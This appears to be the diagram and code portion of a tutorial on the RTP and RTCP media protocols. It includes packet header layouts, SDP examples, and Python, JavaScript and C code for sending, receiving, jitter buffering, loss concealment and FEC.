+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      Defined by Profile       |           Length              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Extension Data                         |
|                             ....                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Hex: 80 08 1a 2b 00 00 03 e8 ab cd ef 01 ...

Binary breakdown:
80 = 10000000
     10 = Version 2
       0 = No padding
        0 = No extension
         0000 = CC=0 (no CSRC)

08 = 00001000
     0 = Marker=0
      0001000 = PT=8 (PCMA/G.711 A-law)

1a 2b = Sequence number = 6699

00 00 03 e8 = Timestamp = 1000

ab cd ef 01 = SSRC = 2882400001

v=0
o=- 123456 123456 IN IP4 192.168.1.100
s=Audio Call
c=IN IP4 192.168.1.100
t=0 0
m=audio 5004 RTP/AVP 111
a=rtpmap:111 opus/48000/2
a=fmtp:111 minptime=10;useinbandfec=1

Sender                                    Receiver
  |                                           |
  | [1] Capture audio/video frame             |
  |                                           |
  | [2] Encode with codec (Opus, H.264)       |
  |                                           |
  | [3] Packetize into RTP packets            |
  |     - Add RTP header                      |
  |     - Set timestamp, sequence, PT         |
  |                                           |
  | [4] Send RTP packet over UDP              |
  |------------------------------------------>|
  |                                           | [5] Receive UDP packet
  |                                           |
  |                                           | [6] Parse RTP header
  |                                           |     - Check sequence
  |                                           |     - Extract timestamp
  |                                           |
  |                                           | [7] Buffer in jitter buffer
  |                                           |     - Absorb network jitter
  |                                           |
  |                                           | [8] Decode payload
  |                                           |
  |                                           | [9] Play audio/video
  |                                           |
  | [10] Periodic RTCP reports                |
  |<----------------------------------------->|
  |   (quality feedback, statistics)          |

timestamp = previous_timestamp + (samples_in_packet)

Packet 1: timestamp = 0
Packet 2: timestamp = 960     (20ms * 48000 Hz = 960)
Packet 3: timestamp = 1920
Packet 4: timestamp = 2880
...

Audio SSRC: 0x12345678
Video SSRC: 0x87654321

RTCP SR (Audio):
  NTP time: 1234567890.500000
  RTP timestamp: 48000

RTCP SR (Video):
  NTP time: 1234567890.500000  (same wall time)
  RTP timestamp: 90000

Receiver can now sync both streams to same timeline

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|V=2|P|    RC   |   PT=SR=200   |             Length            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SSRC of Sender                        |
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|              NTP Timestamp (most significant word)            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              NTP Timestamp (least significant word)           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         RTP Timestamp                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     Sender's Packet Count                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Sender's Octet Count                     |
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|                 Report Blocks (0 or more)                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|V=2|P|    RC   |   PT=RR=201   |             Length            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     SSRC of Packet Sender                     |
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|                 Report Blocks (0 or more)                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                 SSRC of Source Being Reported                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Fraction Lost |       Cumulative Packets Lost                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Extended Highest Sequence Number Received           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Interarrival Jitter                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Last SR (LSR)                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                   Delay Since Last SR (DLSR)                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

J(i) = J(i-1) + (|D(i-1, i)| - J(i-1)) / 16

Where:
D(i-1, i) = (R_i - R_{i-1}) - (S_i - S_{i-1})
R_i = Receive timestamp of packet i
S_i = Send timestamp of packet i (from RTP header)

Items:
- CNAME (Canonical Name): user@host.domain
- NAME: Full name
- EMAIL: Email address
- PHONE: Phone number
- LOC: Geographic location
- TOOL: Application/tool name
- NOTE: Transient messages

CNAME: alice@192.168.1.100
NAME: Alice Smith
TOOL: MyVoIPApp 1.0

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|V=2|P|    SC   |   PT=BYE=203  |             Length            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SSRC/CSRC                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Length    |               Reason for leaving              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

def rtcp_interval(members, senders, rtcp_bw, we_sent):
    """Calculate RTCP report interval"""
    # Constants
    RTCP_MIN_TIME = 5.0  # seconds
    COMPENSATION = 2.71828  # e

    # Fraction for senders
    if we_sent:
        rtcp_fraction = 0.25
    else:
        rtcp_fraction = 0.75

    # Average packet size (assume 200 bytes for RTCP)
    avg_rtcp_size = 200

    # Calculate interval
    n = members
    t = (n * avg_rtcp_size) / (rtcp_fraction * rtcp_bw)
    t = max(t, RTCP_MIN_TIME)

    # Randomize to prevent synchronization
    # Actual interval: [0.5*t, 1.5*t]
    import random
    return t * (random.random() + 0.5)

10 participants, 256 kbps audio stream
RTP bandwidth = 256 kbps
RTCP bandwidth = 5% = 12.8 kbps

Average RTCP report interval H 5-10 seconds

m=audio 5004 RTP/AVP 111 0 8
a=rtpmap:111 opus/48000/2
a=fmtp:111 minptime=10;useinbandfec=1
a=rtpmap:0 PCMU/8000
a=rtpmap:8 PCMA/8000

m=video 5006 RTP/AVP 96 97
a=rtpmap:96 VP8/90000
a=rtpmap:97 H264/90000
a=fmtp:97 profile-level-id=42e01f;packetization-mode=1

Audio frame: 20ms of audio at 48kHz
Samples: 20ms * 48000 Hz = 960 samples
Encoded size: ~40 bytes (at 16 kbps)

RTP Packet:
[12 byte RTP header][40 byte Opus payload]

Timestamp increment: 960 (for next packet)

Video frame: 1920x1080, encoded to 10 KB
Too large for single packet (MTU typically 1500 bytes)

Solution: Fragmentation (FU-A)
Packet 1: [RTP header][FU-A header][Fragment 1 (1400 bytes)]
Packet 2: [RTP header][FU-A header][Fragment 2 (1400 bytes)]
...
Packet 8: [RTP header][FU-A header][Fragment 8 (400 bytes)]

All packets have SAME timestamp (same frame)
Sequence numbers increment: 1, 2, 3, ...
Marker bit set on LAST packet of frame

import socket
import struct
import time

class RTPSender:
    def __init__(self, dest_ip, dest_port, payload_type=96, ssrc=None):
        self.dest_ip = dest_ip
        self.dest_port = dest_port
        self.payload_type = payload_type
        self.ssrc = ssrc or random.randint(0, 0xFFFFFFFF)

        # RTP state
        self.sequence = random.randint(0, 0xFFFF)
        self.timestamp = random.randint(0, 0xFFFFFFFF)

        # Create UDP socket
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    def create_rtp_packet(self, payload, marker=False):
        """Create RTP packet with given payload"""
        # RTP header (12 bytes)
        version = 2
        padding = 0
        extension = 0
        csrc_count = 0
        marker_bit = 1 if marker else 0

        # Byte 0: V(2), P(1), X(1), CC(4)
        byte0 = (version << 6) | (padding << 5) | (extension << 4) | csrc_count

        # Byte 1: M(1), PT(7)
        byte1 = (marker_bit << 7) | self.payload_type

        # Pack header
        header = struct.pack(
            '!BBHII',
            byte0,                    # V, P, X, CC
            byte1,                    # M, PT
            self.sequence,            # Sequence number
            self.timestamp,           # Timestamp
            self.ssrc                 # SSRC
        )

        return header + payload

    def send_packet(self, payload, marker=False, timestamp_increment=960):
        """Send RTP packet"""
        packet = self.create_rtp_packet(payload, marker)
        self.sock.sendto(packet, (self.dest_ip, self.dest_port))

        # Update state
        self.sequence = (self.sequence + 1) & 0xFFFF
        self.timestamp = (self.timestamp + timestamp_increment) & 0xFFFFFFFF

    def close(self):
        self.sock.close()

# Example usage: Send audio packets
if __name__ == '__main__':
    import random

    sender = RTPSender('127.0.0.1', 5004, payload_type=111)  # PT 111 = Opus

    # Simulate sending audio packets (20ms each, 48kHz)
    for i in range(100):
        # Generate dummy audio payload (40 bytes for 16kbps Opus)
        audio_data = bytes([random.randint(0, 255) for _ in range(40)])

        # Send packet with 960 timestamp increment (20ms at 48kHz)
        sender.send_packet(audio_data, marker=False, timestamp_increment=960)

        print(f"Sent packet {i+1}, seq={sender.sequence-1}, ts={sender.timestamp-960}")

        # Wait 20ms between packets
        time.sleep(0.020)

    sender.close()

import socket
import struct

class RTPReceiver:
    def __init__(self, listen_port):
        self.listen_port = listen_port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.bind(('0.0.0.0', listen_port))

        # Statistics
        self.packets_received = 0
        self.last_sequence = None
        self.packets_lost = 0

    def parse_rtp_header(self, packet):
        """Parse RTP header from packet"""
        if len(packet) < 12:
            return None

        # Unpack fixed header
        byte0, byte1, seq, ts, ssrc = struct.unpack('!BBHII', packet[:12])

        # Extract fields
        version = (byte0 >> 6) & 0x03
        padding = (byte0 >> 5) & 0x01
        extension = (byte0 >> 4) & 0x01
        csrc_count = byte0 & 0x0F

        marker = (byte1 >> 7) & 0x01
        payload_type = byte1 & 0x7F

        # Calculate header length
        header_len = 12 + (csrc_count * 4)

        # TODO: Handle extension headers if present

        return {
            'version': version,
            'padding': padding,
            'extension': extension,
            'csrc_count': csrc_count,
            'marker': marker,
            'payload_type': payload_type,
            'sequence': seq,
            'timestamp': ts,
            'ssrc': ssrc,
            'header_length': header_len,
            'payload': packet[header_len:]
        }

    def receive_packet(self):
        """Receive and parse RTP packet"""
        data, addr = self.sock.recvfrom(2048)

        rtp = self.parse_rtp_header(data)
        if not rtp:
            return None

        # Update statistics
        self.packets_received += 1

        # Check for packet loss
        if self.last_sequence is not None:
            expected = (self.last_sequence + 1) & 0xFFFF
            if rtp['sequence'] != expected:
                loss = (rtp['sequence'] - expected) & 0xFFFF
                self.packets_lost += loss
                print(f"WARNING: Detected {loss} packet(s) lost!")

        self.last_sequence = rtp['sequence']

        return rtp

    def close(self):
        self.sock.close()

# Example usage: Receive and display packets
if __name__ == '__main__':
    receiver = RTPReceiver(5004)

    print("Listening for RTP packets on port 5004...")
    print("Press Ctrl+C to stop")

    try:
        while True:
            rtp = receiver.receive_packet()
            if rtp:
                print(f"RTP: seq={rtp['sequence']:5d}, "
                      f"ts={rtp['timestamp']:10d}, "
                      f"PT={rtp['payload_type']:3d}, "
                      f"marker={rtp['marker']}, "
                      f"payload={len(rtp['payload'])} bytes")
    except KeyboardInterrupt:
        print("\nStopping...")
    finally:
        print(f"\nStatistics:")
        print(f"  Packets received: {receiver.packets_received}")
        print(f"  Packets lost: {receiver.packets_lost}")
        if receiver.packets_received > 0:
            loss_rate = (receiver.packets_lost /
                        (receiver.packets_received + receiver.packets_lost)) * 100
            print(f"  Loss rate: {loss_rate:.2f}%")

        receiver.close()

import time
import heapq
from collections import deque

class JitterBuffer:
    """Adaptive jitter buffer for RTP packets"""

    def __init__(self, min_delay_ms=20, max_delay_ms=200, target_delay_ms=50):
        self.min_delay = min_delay_ms / 1000.0
        self.max_delay = max_delay_ms / 1000.0
        self.target_delay = target_delay_ms / 1000.0

        # Buffer storage (priority queue by timestamp)
        self.buffer = []

        # Statistics
        self.last_played_ts = None
        self.arrival_times = {}  # sequence -> arrival time
        self.jitter = 0.0

    def add_packet(self, rtp_packet):
        """Add packet to jitter buffer"""
        arrival_time = time.time()
        seq = rtp_packet['sequence']
        ts = rtp_packet['timestamp']

        # Store arrival time for jitter calculation
        self.arrival_times[seq] = arrival_time

        # Add to buffer (priority queue by timestamp)
        heapq.heappush(self.buffer, (ts, seq, rtp_packet))

        # Update jitter estimate
        self._update_jitter(rtp_packet)

    def _update_jitter(self, rtp_packet):
        """Update jitter estimate (RFC 3550 formula)"""
        if self.last_played_ts is None:
            self.last_played_ts = rtp_packet['timestamp']
            return

        seq = rtp_packet['sequence']
        ts = rtp_packet['timestamp']

        if seq in self.arrival_times and (seq - 1) in self.arrival_times:
            # Calculate interarrival jitter
            arrival_diff = self.arrival_times[seq] - self.arrival_times[seq - 1]
            ts_diff = (ts - self.last_played_ts) / 48000.0  # Assume 48kHz

            D = abs(arrival_diff - ts_diff)
            self.jitter = self.jitter + (D - self.jitter) / 16.0

        self.last_played_ts = ts

    def get_packet(self):
        """Get next packet to play (if ready)"""
        if not self.buffer:
            return None

        # Check if oldest packet is ready to play
        ts, seq, packet = self.buffer[0]

        if seq not in self.arrival_times:
            return None

        arrival_time = self.arrival_times[seq]
        current_time = time.time()
        buffered_time = current_time - arrival_time

        # Adaptive delay based on jitter
        required_delay = max(self.min_delay,
                            min(self.max_delay,
                                self.target_delay + self.jitter * 4))

        if buffered_time >= required_delay:
            # Ready to play
            heapq.heappop(self.buffer)
            del self.arrival_times[seq]
            return packet

        return None

    def get_stats(self):
        """Get buffer statistics"""
        return {
            'buffer_size': len(self.buffer),
            'jitter_ms': self.jitter * 1000,
            'current_delay_ms': self._get_current_delay() * 1000
        }

    def _get_current_delay(self):
        """Get current adaptive delay"""
        return max(self.min_delay,
                  min(self.max_delay,
                      self.target_delay + self.jitter * 4))

# Example usage
if __name__ == '__main__':
    jitter_buffer = JitterBuffer(min_delay_ms=20, max_delay_ms=200)

    # Simulate receiving packets with jitter
    import random

    for i in range(50):
        # Create dummy RTP packet
        packet = {
            'sequence': i,
            'timestamp': i * 960,  # 20ms at 48kHz
            'payload': b'audio_data'
        }

        jitter_buffer.add_packet(packet)

        # Simulate network jitter (0-50ms)
        time.sleep(0.020 + random.uniform(-0.010, 0.030))

        # Try to get packets ready for playout
        while True:
            ready_packet = jitter_buffer.get_packet()
            if ready_packet is None:
                break
            print(f"Playing packet seq={ready_packet['sequence']}")

        stats = jitter_buffer.get_stats()
        print(f"  Buffer: {stats['buffer_size']}, "
              f"Jitter: {stats['jitter_ms']:.1f}ms, "
              f"Delay: {stats['current_delay_ms']:.1f}ms")

// WebRTC handles RTP automatically, but you can inspect it

async function startVideoCall() {
    const pc = new RTCPeerConnection({
        iceServers: [{urls: 'stun:stun.l.google.com:19302'}]
    });

    // Get local media
    const stream = await navigator.mediaDevices.getUserMedia({
        audio: {
            echoCancellation: true,
            noiseSuppression: true
        },
        video: {
            width: 1280,
            height: 720
        }
    });

    // Add tracks to peer connection
    stream.getTracks().forEach(track => {
        pc.addTrack(track, stream);
    });

    // Monitor RTP statistics
    setInterval(async () => {
        const stats = await pc.getStats();

        stats.forEach(report => {
            if (report.type === 'outbound-rtp') {
                console.log('Outbound RTP Stats:');
                console.log(`  SSRC: ${report.ssrc}`);
                console.log(`  Packets sent: ${report.packetsSent}`);
                console.log(`  Bytes sent: ${report.bytesSent}`);
                console.log(`  Codec: ${report.codecId}`);
            }

            if (report.type === 'inbound-rtp') {
                console.log('Inbound RTP Stats:');
                console.log(`  SSRC: ${report.ssrc}`);
                console.log(`  Packets received: ${report.packetsReceived}`);
                console.log(`  Packets lost: ${report.packetsLost}`);
                console.log(`  Jitter: ${report.jitter} seconds`);
                console.log(`  Loss rate: ${(report.packetsLost /
                    (report.packetsReceived + report.packetsLost) * 100).toFixed(2)}%`);
            }
        });
    }, 2000);

    // Create offer, exchange SDP, etc.
    // (simplified for brevity)
}

// Get RTP capabilities
const capabilities = RTCRtpReceiver.getCapabilities('video');
console.log('Supported video codecs:');
capabilities.codecs.forEach(codec => {
    console.log(`  ${codec.mimeType} (PT ${codec.clockRate})`);
});

#include <stdio.h>
#include <stdint.h>
#include <arpa/inet.h>

typedef struct {
    uint8_t version;
    uint8_t padding;
    uint8_t extension;
    uint8_t csrc_count;
    uint8_t marker;
    uint8_t payload_type;
    uint16_t sequence;
    uint32_t timestamp;
    uint32_t ssrc;
} rtp_header_t;

int parse_rtp_header(const uint8_t *packet, size_t len, rtp_header_t *hdr) {
    if (len < 12) {
        return -1;  // Packet too short
    }

    // Byte 0: V(2), P(1), X(1), CC(4)
    uint8_t byte0 = packet[0];
    hdr->version = (byte0 >> 6) & 0x03;
    hdr->padding = (byte0 >> 5) & 0x01;
    hdr->extension = (byte0 >> 4) & 0x01;
    hdr->csrc_count = byte0 & 0x0F;

    // Byte 1: M(1), PT(7)
    uint8_t byte1 = packet[1];
    hdr->marker = (byte1 >> 7) & 0x01;
    hdr->payload_type = byte1 & 0x7F;

    // Sequence number (network byte order)
    hdr->sequence = ntohs(*(uint16_t*)(packet + 2));

    // Timestamp (network byte order)
    hdr->timestamp = ntohl(*(uint32_t*)(packet + 4));

    // SSRC (network byte order)
    hdr->ssrc = ntohl(*(uint32_t*)(packet + 8));

    return 0;
}

void print_rtp_header(const rtp_header_t *hdr) {
    printf("RTP Header:\n");
    printf("  Version: %u\n", hdr->version);
    printf("  Padding: %u\n", hdr->padding);
    printf("  Extension: %u\n", hdr->extension);
    printf("  CSRC count: %u\n", hdr->csrc_count);
    printf("  Marker: %u\n", hdr->marker);
    printf("  Payload type: %u\n", hdr->payload_type);
    printf("  Sequence: %u\n", hdr->sequence);
    printf("  Timestamp: %u\n", hdr->timestamp);
    printf("  SSRC: 0x%08X\n", hdr->ssrc);
}

int main() {
    // Example RTP packet (hex)
    uint8_t packet[] = {
        0x80,                          // V=2, P=0, X=0, CC=0
        0x60,                          // M=0, PT=96 (0x60)
        0x1A, 0x2B,                    // Sequence = 6699
        0x00, 0x00, 0x03, 0xE8,        // Timestamp = 1000
        0xAB, 0xCD, 0xEF, 0x01,        // SSRC = 0xABCDEF01
        // ... payload follows
    };

    rtp_header_t hdr;
    if (parse_rtp_header(packet, sizeof(packet), &hdr) == 0) {
        print_rtp_header(&hdr);
    }

    return 0;
}

Sender sends every 20ms:
  t=0ms:   Packet 1 sent
  t=20ms:  Packet 2 sent
  t=40ms:  Packet 3 sent
  t=60ms:  Packet 4 sent

Receiver arrival times (with jitter):
  t=25ms:  Packet 1 arrives (25ms delay)
  t=48ms:  Packet 2 arrives (28ms delay)
  t=61ms:  Packet 3 arrives (21ms delay)
  t=95ms:  Packet 4 arrives (35ms delay)

Without buffering  choppy audio/video

class FixedJitterBuffer:
    def __init__(self, delay_ms=50):
        self.delay = delay_ms / 1000.0
        self.buffer = {}

    def add_packet(self, packet):
        arrival_time = time.time()
        playout_time = arrival_time + self.delay
        self.buffer[packet['sequence']] = (playout_time, packet)

    def get_packet_if_ready(self):
        current_time = time.time()

        for seq in sorted(self.buffer.keys()):
            playout_time, packet = self.buffer[seq]
            if current_time >= playout_time:
                del self.buffer[seq]
                return packet

        return None

class AdaptiveJitterBuffer:
    def __init__(self):
        self.buffer = []
        self.jitter_estimate = 0.020  # Start with 20ms
        self.min_delay = 0.010         # 10ms minimum
        self.max_delay = 0.200         # 200ms maximum

        # Statistics
        self.last_arrival_time = None
        self.last_rtp_timestamp = None

    def add_packet(self, packet):
        arrival_time = time.time()

        # Update jitter estimate
        if self.last_arrival_time and self.last_rtp_timestamp:
            # Calculate interarrival jitter
            arrival_delta = arrival_time - self.last_arrival_time
            timestamp_delta = (packet['timestamp'] - self.last_rtp_timestamp) / 48000.0

            D = abs(arrival_delta - timestamp_delta)
            self.jitter_estimate = self.jitter_estimate + (D - self.jitter_estimate) / 16.0

        self.last_arrival_time = arrival_time
        self.last_rtp_timestamp = packet['timestamp']

        # Calculate playout time (arrival + adaptive delay)
        adaptive_delay = self._calculate_delay()
        playout_time = arrival_time + adaptive_delay

        # Store packet
        heapq.heappush(self.buffer, (playout_time, packet['sequence'], packet))

    def _calculate_delay(self):
        """Calculate adaptive delay based on jitter"""
        # Delay = base + (jitter * safety_factor)
        delay = 0.040 + (self.jitter_estimate * 4.0)

        # Clamp to min/max
        return max(self.min_delay, min(self.max_delay, delay))

    def get_packet(self):
        if not self.buffer:
            return None

        playout_time, seq, packet = self.buffer[0]

        if time.time() >= playout_time:
            heapq.heappop(self.buffer)
            return packet

        return None

# Simplest: play packets as they become ready
while True:
    packet = jitter_buffer.get_packet()
    if packet:
        play_audio(packet['payload'])
    else:
        time.sleep(0.001)  # Small sleep

# Play at fixed intervals regardless of arrival
playout_interval = 0.020  # 20ms

while True:
    start_time = time.time()

    packet = jitter_buffer.get_packet()
    if packet:
        play_audio(packet['payload'])
    else:
        # Packet loss concealment
        play_silence_or_repeat_last()

    # Sleep until next playout time
    elapsed = time.time() - start_time
    if elapsed < playout_interval:
        time.sleep(playout_interval - elapsed)

def conceal_packet_loss(last_packet, codec_type):
    if codec_type == 'opus':
        # Opus has built-in PLC
        return opus_decoder.decode(None, fec=True)

    elif codec_type == 'pcm':
        # Simple: repeat last packet
        return last_packet['payload']

    elif codec_type == 'advanced':
        # Interpolation between last and next packet
        return interpolate(last_packet, next_packet)

def monitor_buffer_health(jitter_buffer):
    buffer_size = len(jitter_buffer.buffer)

    if buffer_size == 0:
        # Underrun: buffer empty
        print("WARNING: Buffer underrun - increasing delay")
        jitter_buffer.target_delay += 0.010  # Add 10ms

    elif buffer_size > 20:
        # Overrun: too much buffered
        print("WARNING: Buffer overrun - decreasing delay")
        jitter_buffer.target_delay -= 0.010  # Remove 10ms

def detect_loss(current_seq, last_seq):
    """Detect packet loss from sequence numbers"""
    if last_seq is None:
        return 0

    expected = (last_seq + 1) & 0xFFFF

    if current_seq == expected:
        return 0  # No loss
    elif current_seq > expected:
        return current_seq - expected
    else:
        # Wraparound case
        return (0x10000 - expected) + current_seq

class LossStatistics:
    def __init__(self):
        self.packets_received = 0
        self.packets_expected = 0
        self.packets_lost = 0
        self.last_seq = None

    def update(self, seq):
        if self.last_seq is not None:
            expected = (self.last_seq + 1) & 0xFFFF
            gap = (seq - expected) & 0xFFFF

            if gap > 0:
                self.packets_lost += gap
                self.packets_expected += gap + 1
            else:
                self.packets_expected += 1

        self.packets_received += 1
        self.last_seq = seq

    def get_loss_rate(self):
        if self.packets_expected == 0:
            return 0.0
        return self.packets_lost / self.packets_expected

def packet_repetition(last_good_packet):
    """Repeat last good packet"""
    return last_good_packet.copy()

def silence_insertion(packet_size):
    """Insert silence for lost packet"""
    return bytes([0] * packet_size)

def interpolate_audio(prev_packet, next_packet):
    """Linear interpolation between packets"""
    prev_samples = decode(prev_packet)
    next_samples = decode(next_packet)

    interpolated = []
    for i in range(len(prev_samples)):
        value = (prev_samples[i] + next_samples[i]) / 2
        interpolated.append(value)

    return encode(interpolated)

# Opus example
import opuslib

decoder = opuslib.Decoder(48000, 2)  # 48kHz stereo

# Decode normal packet
audio = decoder.decode(rtp_packet.payload, frame_size=960)

# Packet lost - use PLC
audio = decoder.decode(None, frame_size=960, fec=False)

def create_fec_packet(packet1, packet2):
    """Create FEC packet from XOR of two packets"""
    fec_payload = bytes([a ^ b for a, b in zip(packet1, packet2)])
    return fec_payload

def recover_lost_packet(good_packet, fec_packet):
    """Recover lost packet using FEC"""
    recovered = bytes([a ^ b for a, b in zip(good_packet, fec_packet)])
    return recovered

Send:
  Packet 1 (data)
  Packet 2 (data)
  Packet 3 (FEC = P1 XOR P2)

Receive scenario:
   Packet 1 received
   Packet 2 lost
   Packet 3 (FEC) received
   Recover P2 = P1 XOR FEC

# Encode with FEC
encoder = opuslib.Encoder(48000, 2, opuslib.APPLICATION_VOIP)
encoder.enable_inband_fec()

# Current frame
encoded = encoder.encode(audio_frame, frame_size=960)

# If next packet is lost, decoder can use FEC from current frame
if packet_lost:
    # Decoder extracts FEC from previous packet
    recovered_audio = decoder.decode(previous_packet, frame_size=960, fec=True)

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         RTP Header                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OSN (Original Sequence Number)                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                  Original RTP Payload                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

m=video 5006 RTP/AVP 96 97
a=rtpmap:96 VP8/90000
a=rtpmap:97 rtx/90000
a=fmtp:97 apt=96

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      0xBEDE   |    length     | Extension data...             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

 0                   1                   2
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ID   |  len  |     data      |  ID   |  len  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

 0                   1
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ID   | len=0 |V| level       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Extension data: 0 0 0 R R R 0 0
RRR = rotation (0=0°, 1=90°, 2=180°, 3=270°)

Extension data: 24-bit signed offset

Extension data: 24 bits of NTP timestamp

def parse_audio_level_extension(extension_data):
    """Parse audio level extension (RFC 6464)"""
    if len(extension_data) < 1:
        return None

    byte = extension_data[0]
    voice_activity = (byte & 0x80) >> 7
    level_dbov = byte & 0x7F

    # Convert to human-readable
    level_db = -level_dbov  # Negative dBov

    return {
        'voice_activity': bool(voice_activity),
        'level_dbov': level_dbov,
        'level_db': level_db
    }

# Example
ext_data = bytes([0x85])  # V=1, level=5
result = parse_audio_level_extension(ext_data)
# {'voice_activity': True, 'level_dbov': 5, 'level_db': -5}

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     RTP Header (unencrypted)                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                 Encrypted Payload (AES)                       |
|                          ...                                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                Authentication Tag (HMAC)                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Master Key (128 or 256 bits)
Master Salt (112 bits)

Key Derivation Function (KDF)

Encryption Key, Auth Key, Salting Key

1. DTLS Handshake (over UDP)
   - Certificate exchange
   - Verify fingerprints (from SDP)

